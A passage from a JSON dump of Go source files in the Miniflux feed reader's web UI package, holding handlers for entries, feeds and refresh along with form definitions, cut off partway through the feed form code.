    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) toggleStarred(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif err := h.store.ToggleStarred(request.UserID(r), entryID); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, \"OK\")\n}\n"
  },
  {
    "path": "internal/ui/entry_unread.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showUnreadEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/unread\"))\n\t\treturn\n\t}\n\n\t// Make sure we always get the pagination in unread mode even if the page is refreshed.\n\tif entry.Status == model.EntryStatusRead {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusUnread)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithStatus(model.EntryStatusUnread)\n\tentryPaginationBuilder.WithGloballyVisible()\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/unread/entry/%d\", nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/unread/entry/%d\", prevEntry.ID)\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\t// Restore entry read status if needed after fetching the pagination.\n\tif entry.Status == model.EntryStatusRead {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"unread\")\n\tview.Set(\"user\", user)\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\t// Fetching the counter here avoid to be off by one.\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_update_status.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) updateEntriesStatus(w http.ResponseWriter, r *http.Request) {\n\tvar entriesStatusUpdateRequest model.EntriesStatusUpdateRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&entriesStatusUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif err := validator.ValidateEntriesStatusUpdateRequest(&entriesStatusUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := h.store.SetEntriesStatusCount(request.UserID(r), entriesStatusUpdateRequest.EntryIDs, entriesStatusUpdateRequest.Status)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, count)\n}\n"
  },
  {
    "path": "internal/ui/feed_edit.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showEditFeedPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tfeed, err := h.store.FeedByID(user.ID, feedID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedForm := form.FeedForm{\n\t\tSiteURL:                     feed.SiteURL,\n\t\tFeedURL:                     feed.FeedURL,\n\t\tTitle:                       feed.Title,\n\t\tDescription:                 feed.Description,\n\t\tScraperRules:                feed.ScraperRules,\n\t\tRewriteRules:                feed.RewriteRules,\n\t\tUrlRewriteRules:             feed.UrlRewriteRules,\n\t\tBlocklistRules:              feed.BlocklistRules,\n\t\tKeeplistRules:               feed.KeeplistRules,\n\t\tBlockFilterEntryRules:       feed.BlockFilterEntryRules,\n\t\tKeepFilterEntryRules:        feed.KeepFilterEntryRules,\n\t\tCrawler:                     feed.Crawler,\n\t\tIgnoreEntryUpdates:          feed.IgnoreEntryUpdates,\n\t\tUserAgent:                   feed.UserAgent,\n\t\tCookie:                      feed.Cookie,\n\t\tCategoryID:                  feed.Category.ID,\n\t\tUsername:                    feed.Username,\n\t\tPassword:                    feed.Password,\n\t\tIgnoreHTTPCache:             feed.IgnoreHTTPCache,\n\t\tAllowSelfSignedCertificates: feed.AllowSelfSignedCertificates,\n\t\tFetchViaProxy:               feed.FetchViaProxy,\n\t\tDisabled:                    feed.Disabled,\n\t\tNoMediaPlayer:               feed.NoMediaPlayer,\n\t\tHideGlobally:                feed.HideGlobally,\n\t\tCategoryHidden:              feed.Category.HideGlobally,\n\t\tAppriseServiceURLs:          feed.AppriseServiceURLs,\n\t\tWebhookURL:                  feed.WebhookURL,\n\t\tDisableHTTP2:                feed.DisableHTTP2,\n\t\tNtfyEnabled:                 feed.NtfyEnabled,\n\t\tNtfyPriority:                feed.NtfyPriority,\n\t\tNtfyTopic:                   feed.NtfyTopic,\n\t\tPushoverEnabled:             feed.PushoverEnabled,\n\t\tPushoverPriority:            feed.PushoverPriority,\n\t\tProxyURL:                    feed.ProxyURL,\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", feedForm)\n\tview.Set(\"categories\", categories)\n\tview.Set(\"feed\", feed)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\tview.Set(\"hasProxyConfigured\", config.Opts.HasHTTPClientProxyURLConfigured())\n\n\tresponse.HTML(w, r, view.Render(\"edit_feed\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showFeedEntriesPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tfeed, err := h.store.FeedByID(user.ID, feedID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithFeedID(feed.ID)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"feed\", feed)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"total\", count)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/feed/%d/entries\", feed.ID), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyUnreadEntries\", true)\n\n\tresponse.HTML(w, r, view.Render(\"feed_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_entries_all.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showFeedEntriesAllPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tfeed, err := h.store.FeedByID(user.ID, feedID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithFeedID(feed.ID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"feed\", feed)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"total\", count)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/feed/%d/entries/all\", feed.ID), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyUnreadEntries\", false)\n\n\tresponse.HTML(w, r, view.Render(\"feed_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_icon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) showFeedIcon(w http.ResponseWriter, r *http.Request) {\n\texternalIconID := request.RouteStringParam(r, \"externalIconID\")\n\ticon, err := h.store.IconByExternalID(externalIconID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif icon == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.NewBuilder(w, r).WithCaching(icon.Hash, 72*time.Hour, func(b *response.Builder) {\n\t\tb.WithHeader(\"Content-Security-Policy\", response.ContentSecurityPolicyForUntrustedContent)\n\t\tb.WithHeader(\"Content-Type\", icon.MimeType)\n\t\tb.WithBodyAsBytes(icon.Content)\n\t\tif icon.MimeType != \"image/svg+xml\" {\n\t\t\tb.WithoutCompression()\n\t\t}\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/feed_list.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showFeedsPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeeds, err := h.store.FeedsWithCounters(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"feeds\", feeds)\n\tview.Set(\"total\", len(feeds))\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_mark_as_read.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) markFeedAsRead(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tuserID := request.UserID(r)\n\n\tcheckedAt, err := h.store.CheckedAt(userID, feedID)\n\tif err != nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err = h.store.MarkFeedAsRead(userID, feedID, checkedAt); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_refresh.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) refreshFeed(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tforceRefresh := request.QueryBoolParam(r, \"forceRefresh\", false)\n\tif localizedError := feedHandler.RefreshFeed(h.store, request.UserID(r), feedID, forceRefresh); localizedError != nil {\n\t\tslog.Warn(\"Unable to refresh feed\",\n\t\t\tslog.Int64(\"user_id\", request.UserID(r)),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.Bool(\"force_refresh\", forceRefresh),\n\t\t\tslog.Any(\"error\", localizedError.Error()),\n\t\t)\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feed/%d/entries\", feedID))\n}\n\nfunc (h *handler) refreshAllFeeds(w http.ResponseWriter, r *http.Request) {\n\tprinter := locale.NewPrinter(request.UserLanguage(r))\n\tsess := session.New(h.store, request.SessionID(r))\n\n\t// Avoid accidental and excessive refreshes.\n\tif time.Since(request.LastForceRefresh(r)) < config.Opts.ForceRefreshInterval() {\n\t\tinterval := int(config.Opts.ForceRefreshInterval().Minutes())\n\t\tsess.NewFlashErrorMessage(printer.Plural(\"alert.too_many_feeds_refresh\", interval, interval))\n\t} else {\n\t\tuserID := request.UserID(r)\n\t\t// We allow the end-user to force refresh all its feeds\n\t\t// without taking into consideration the number of errors.\n\t\tbatchBuilder := h.store.NewBatchBuilder()\n\t\tbatchBuilder.WithoutDisabledFeeds()\n\t\tbatchBuilder.WithUserID(userID)\n\t\tbatchBuilder.WithLimitPerHost(config.Opts.PollingLimitPerHost())\n\n\t\tjobs, err := batchBuilder.FetchJobs()\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tslog.Info(\n\t\t\t\"Triggered a manual refresh of all feeds from the web ui\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int(\"nb_jobs\", len(jobs)),\n\t\t)\n\n\t\tgo h.pool.Push(jobs)\n\n\t\tsess.SetLastForceRefresh()\n\t\tsess.NewFlashMessage(printer.Print(\"alert.background_feed_refresh\"))\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_remove.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) removeFeed(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\n\tif !h.store.FeedExists(request.UserID(r), feedID) {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveFeed(request.UserID(r), feedID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/feed_update.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) updateFeed(w http.ResponseWriter, r *http.Request) {\n\tloggedUser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tfeed, err := h.store.FeedByID(loggedUser.ID, feedID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(loggedUser.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedForm := form.NewFeedForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", feedForm)\n\tview.Set(\"categories\", categories)\n\tview.Set(\"feed\", feed)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", loggedUser)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(loggedUser.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(loggedUser.ID))\n\tview.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\n\tfeedModificationRequest := &model.FeedModificationRequest{\n\t\tFeedURL:         model.OptionalString(feedForm.FeedURL),\n\t\tSiteURL:         model.OptionalString(feedForm.SiteURL),\n\t\tTitle:           model.OptionalString(feedForm.Title),\n\t\tDescription:     model.OptionalString(feedForm.Description),\n\t\tCategoryID:      model.OptionalNumber(feedForm.CategoryID),\n\t\tBlocklistRules:  model.OptionalString(feedForm.BlocklistRules),\n\t\tKeeplistRules:   model.OptionalString(feedForm.KeeplistRules),\n\t\tUrlRewriteRules: model.OptionalString(feedForm.UrlRewriteRules),\n\t\tProxyURL:        model.OptionalString(feedForm.ProxyURL),\n\t}\n\n\tif validationErr := validator.ValidateFeedModification(h.store, loggedUser.ID, feed.ID, feedModificationRequest); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(loggedUser.Language))\n\t\tresponse.HTML(w, r, view.Render(\"edit_feed\"))\n\t\treturn\n\t}\n\n\terr = h.store.UpdateFeed(feedForm.Merge(feed))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feed/%d/entries\", feed.ID))\n}\n"
  },
  {
    "path": "internal/ui/form/api_key.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n)\n\n// APIKeyForm represents the API Key form.\ntype APIKeyForm struct {\n\tDescription string\n}\n\n// NewAPIKeyForm returns a new APIKeyForm.\nfunc NewAPIKeyForm(r *http.Request) *APIKeyForm {\n\treturn &APIKeyForm{\n\t\tDescription: strings.TrimSpace(r.FormValue(\"description\")),\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/auth.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/locale\"\n)\n\n// authForm represents the authentication form.\ntype authForm struct {\n\tUsername string\n\tPassword string\n}\n\n// Validate makes sure the form values are valid.\nfunc (a authForm) Validate() *locale.LocalizedError {\n\tif a.Username == \"\" || a.Password == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.fields_mandatory\")\n\t}\n\n\treturn nil\n}\n\n// NewAuthForm returns a new AuthForm.\nfunc NewAuthForm(r *http.Request) *authForm {\n\treturn &authForm{\n\t\tUsername: strings.TrimSpace(r.FormValue(\"username\")),\n\t\tPassword: strings.TrimSpace(r.FormValue(\"password\")),\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n)\n\n// CategoryForm represents a feed form in the UI\ntype CategoryForm struct {\n\tTitle        string\n\tHideGlobally bool\n}\n\n// NewCategoryForm returns a new CategoryForm.\nfunc NewCategoryForm(r *http.Request) *CategoryForm {\n\treturn &CategoryForm{\n\t\tTitle:        r.FormValue(\"title\"),\n\t\tHideGlobally: r.FormValue(\"hide_globally\") == \"1\",\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// FeedForm represents a feed form in the UI\ntype FeedForm struct {\n\tFeedURL                     string\n\tSiteURL                     string\n\tTitle                       string\n\tDescription                 string\n\tScraperRules                string\n\tRewriteRules                string\n\tUrlRewriteRules             string\n\tBlocklistRules              string\n\tKeeplistRules               string\n\tBlockFilterEntryRules       string\n\tKeepFilterEntryRules        string\n\tCrawler                     bool\n\tIgnoreEntryUpdates          bool\n\tUserAgent                   string\n\tCookie                      string\n\tCategoryID                  int64\n\tUsername                    string\n\tPassword                    string\n\tIgnoreHTTPCache             bool\n\tAllowSelfSignedCertificates bool\n\tFetchViaProxy               bool\n\tDisabled                    bool\n\tNoMediaPlayer               bool\n\tHideGlobally                bool\n\tCategoryHidden              bool // Category has \"hide_globally\"\n\tAppriseServiceURLs          string\n\tWebhookURL                  string\n\tDisableHTTP2                bool\n\tNtfyEnabled                 bool\n\tNtfyPriority                int\n\tNtfyTopic                   string\n\tPushoverEnabled             bool\n\tPushoverPriority            int\n\tProxyURL                    string\n}\n\n// Merge updates the fields of the given feed.\nfunc (f FeedForm) Merge(feed *model.Feed) *model.Feed {\n\tfeed.Category.ID = f.CategoryID\n\tfeed.Title = f.Title\n\tfeed.SiteURL = f.SiteURL\n\tfeed.FeedURL = f.FeedURL\n\tfeed.Description = f.Description\n\tfeed.ScraperRules = f.ScraperRules\n\tfeed.RewriteRules = f.RewriteRules\n\tfeed.UrlRewriteRules = f.UrlRewriteRules\n\tfeed.BlocklistRules = f.BlocklistRules\n\tfeed.KeeplistRules = f.KeeplistRules\n\tfeed.BlockFilterEntryRules = f.BlockFilterEntryRules\n\tfeed.KeepFilterEntryRules = f.KeepFilterEntryRules\n\tfeed.Crawler = f.Crawler\n\tfeed.IgnoreEntryUpdates = f.IgnoreEntryUpdates\n\tfeed.UserAgent = f.UserAgent\n\tfeed.Cookie = f.Cookie\n\tfeed.ParsingErrorCount = 0\n\tfeed.ParsingErrorMsg = \"\"\n\tfeed.Username = f.Username\n\tfeed.Password = f.Password\n\tfeed.IgnoreHTTPCache = f.IgnoreHTTPCache\n\tfeed.AllowSelfSignedCertificates = f.AllowSelfSignedCertificates\n\tfeed.FetchViaProxy = f.FetchViaProxy\n\tfeed.Disabled = f.Disabled\n\tfeed.NoMediaPlayer = f.NoMediaPlayer\n\tfeed.HideGlobally = f.HideGlobally\n\tfeed.AppriseServiceURLs = 